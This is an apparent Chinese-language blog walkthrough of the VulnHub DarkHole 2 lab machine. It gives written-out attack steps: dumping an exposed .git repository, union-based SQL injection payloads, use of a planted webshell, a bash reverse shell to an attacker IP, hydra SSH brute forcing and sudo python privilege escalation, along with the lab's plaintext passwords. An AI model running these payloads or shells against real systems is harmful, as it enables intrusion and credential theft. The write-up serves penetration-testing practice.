靶机:
https://vulnhub.com/entry/darkhole-2,740/
下载(镜像):https://download.vulnhub.com/darkhole/darkhole_2.zip
难度:
- 高
目标:
- 获得 Root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- Git 库泄露
- 源码分析
- SQL 注入
- 本地端口转发
- 密码爆破
- 水平提权1、2
- Root提权1、2
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.221.172
发现开放了 80 和 22 端口
sudo nmap -p22,80 -sV -sC 192.168.221.172
Git 库泄露
看到一个 .git 路径,里面可能有源码
它的描述说,他改了 login.php 为了更安全,说明之前不安全
那先访问 80 端口的 Web 页面,访问这个 login.php,使用万能密码等方式尝试登录失败
那访问刚刚发现的 .git 路径,看到了文件目录的列表
wget -r http://192.168.221.172/.git/
把整个 git 库保存下来
在 wget
命令中,-r
是一个选项,代表 “recursive”,即递归
git log
查看备注
用 githack (https://gitcode.com/gh_mirrors/git/GitHack)来下下来源码
python2 GitHack.py http://192.168.31.34/.git/
查看之前的记录
源码分析
再次查看 login.php ,就会在这个版本的 login.php 里面发现账号密码 lush@admin.com
321
SQL 注入
http://192.168.221.185/dashboard.php?id=1'+and+1=1--+
基本可以确定这里存在 SQL 注入
http://192.168.221.185/dashboard.php?id=2%27+union+select+1,database(),3,4,5,6--+
发现数据库名 darkhole_2
?id=2%27+union+select+1,table_name,3,4,5,6 from information_schema.tables where table_name='ssh'--+
获得表名 ssh
?id=2%27+union+select+1,GROUP_CONCAT(column_name),3,4,5,6 from information_schema.columns where table_name='ssh'--+
爆列名,发现列名是 id,user,pass
2'+union+select+1,id,user,4,pass,6+from+ssh--+
爆字段,获得账号密码jehad
fool
根据表名猜测这是SSH登录的账号密码,成功登录
首先查看本地机器都有哪些用户账号
cat /etc/passwd
本地端口转发
cat .bash_history
去到 jehad 账号的主目录查看命令历史,看看有没有机密信息
发现这明显是有另外一个人已经在渗透了,主要在 9999 端口上
ss -pantu | grep 9999
- 这个命令用于在 Linux 系统中查找与端口
9999
相关的网络连接信息。 ss
是iproute2
软件包中的一个命令行工具,用于获取套接字(socket)相关的信息,它可以替代较旧的netstat
命令,并且通常具有更好的性能和更多功能。ss -pantu
选项含义如下:
-p
:显示使用该套接字的进程信息。-a
:显示所有套接字,包括监听和非监听状态的。-n
:以数字形式显示地址和端口号,而不是解析为域名和服务名,这样可以加快查询速度。-u
:显示 UDP 套接字。-t
:显示 TCP 套接字。
发现 Webshell 木马文件
根据上面的提示
curl http://127.0.0.1:9999/?cmd=id
发现确实执行了命令,而且是以 losy 的身份来执行的
反弹 shell
bash -c 'bash -i >& /dev/tcp/192.168.31.137/4242 0>&1'
因为是浏览器的形式提交的,所以先进行一下 URL 编码
bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E31%2E137%2F4242%200%3E%261%27
去 losy 的目录下看一下 .bash_history
历史记录
发现似乎在进行提权操作,还有疑似账号密码的 losy:gang
python3 -c 'import pty;pty.spawn("/bin/bash")'
用 python 升级、形成一个 shell
sudo -l
发现密码确实是 gang
,而且可以以 root 的身份来运行 python
sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
成功提权!
另外一种方法
先 SSH 爆破 lama 账号,获得密码 123
hydra -l lama -P /mnt/d/Downlaods_1/MidPwds.txt ssh://192.168.31.37
hydra
:这是一个强大的开源密码破解工具,支持多种协议的暴力破解,如 SSH、FTP、HTTP 等。
cat .bash_history
发现它直接 sudo su
sudo -l
发现 lama 账号的权限更大
技术补充
本地端口转发
ssh -L 9999:localhost:9999 jehad@192.168.31.37
把目标靶机本地侦听的 9999 端口映射到我 kali 的 9999 端口上
然后我访问我 kali 本机 9999 端口的所有请求都会被转发到目标机器的 9999 端口上,然后利用上面的那个 cmd 参数,来执行操作系统命令。
标签:25,git,sudo,端口,打靶,192.168,9999,darkhole,bash From: https://www.cnblogs.com/Fab1an/p/18687196